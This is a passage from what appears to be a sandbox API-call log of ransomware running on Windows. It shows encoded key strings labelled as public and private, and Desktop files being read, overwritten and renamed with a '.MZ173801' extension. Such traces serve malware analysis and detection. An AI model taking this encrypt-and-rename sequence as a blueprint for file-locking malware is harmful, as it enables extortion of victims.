nUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0174.979] GetCurrentThreadId () returned 0xab4 [0174.979] GetCurrentThreadId () returned 0xab4 [0174.979] GetCurrentThreadId () returned 0xab4 [0174.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0174.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0174.980] GetCurrentThreadId () returned 0xab4 [0174.980] GetCurrentThreadId () returned 0xab4 [0174.980] GetCurrentThreadId () returned 0xab4 [0174.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-kGuY.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\-kguy.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0174.980] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0174.980] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0174.980] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xe595 [0174.980] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0174.980] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xe595, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xe595, lpOverlapped=0x0) returned 1 [0174.982] CloseHandle (hObject=0x320) returned 1 [0174.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-kGuY.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\-kguy.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.034] WriteFile (in: hFile=0x320, lpBuffer=0x24b0040*, nNumberOfBytesToWrite=0xe595, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b0040*, lpNumberOfBytesWritten=0x19fa24*=0xe595, lpOverlapped=0x0) returned 1 [0175.036] CloseHandle (hObject=0x320) returned 1 [0175.112] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-kGuY.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\-kguy.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-kGuY.rtf.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\-kguy.rtf.mz173801")) returned 1 [0175.252] GetCurrentThreadId () returned 0xab4 [0175.252] GetCurrentThreadId () returned 0xab4 [0175.252] GetCurrentThreadId () returned 0xab4 [0175.252] GetCurrentThreadId () returned 0xab4 [0175.252] GetCurrentThreadId () returned 0xab4 [0175.252] GetCurrentThreadId () returned 0xab4 [0175.252] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2352ce0, ftCreationTime.dwHighDateTime=0x1d5e514, ftLastAccessTime.dwLowDateTime=0xbed1e0, ftLastAccessTime.dwHighDateTime=0x1d5e234, ftLastWriteTime.dwLowDateTime=0xbed1e0, ftLastWriteTime.dwHighDateTime=0x1d5e234, nFileSizeHigh=0x0, nFileSizeLow=0x1e0c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-LTq6n--dr.csv", cAlternateFileName="-LTQ6N~1.CSV")) returned 1 [0175.253] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.253] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-LTq6n--dr.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-ltq6n--dr.csv"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2352ce0, ftCreationTime.dwHighDateTime=0x1d5e514, ftLastAccessTime.dwLowDateTime=0xbed1e0, ftLastAccessTime.dwHighDateTime=0x1d5e234, ftLastWriteTime.dwLowDateTime=0xbed1e0, ftLastWriteTime.dwHighDateTime=0x1d5e234, nFileSizeHigh=0x0, nFileSizeLow=0x1e0c)) returned 1 [0175.253] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-LTq6n--dr.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-ltq6n--dr.csv")) returned 0x20 [0175.253] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-LTq6n--dr.csv", dwFileAttributes=0x80) returned 1 [0175.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0175.347] GetCurrentThreadId () returned 0xab4 [0175.347] GetCurrentThreadId () returned 0xab4 [0175.347] GetCurrentThreadId () returned 0xab4 [0175.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.348] GetCurrentThreadId () returned 0xab4 [0175.348] GetCurrentThreadId () returned 0xab4 [0175.348] GetCurrentThreadId () returned 0xab4 [0175.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-LTq6n--dr.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-ltq6n--dr.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.349] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.349] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, 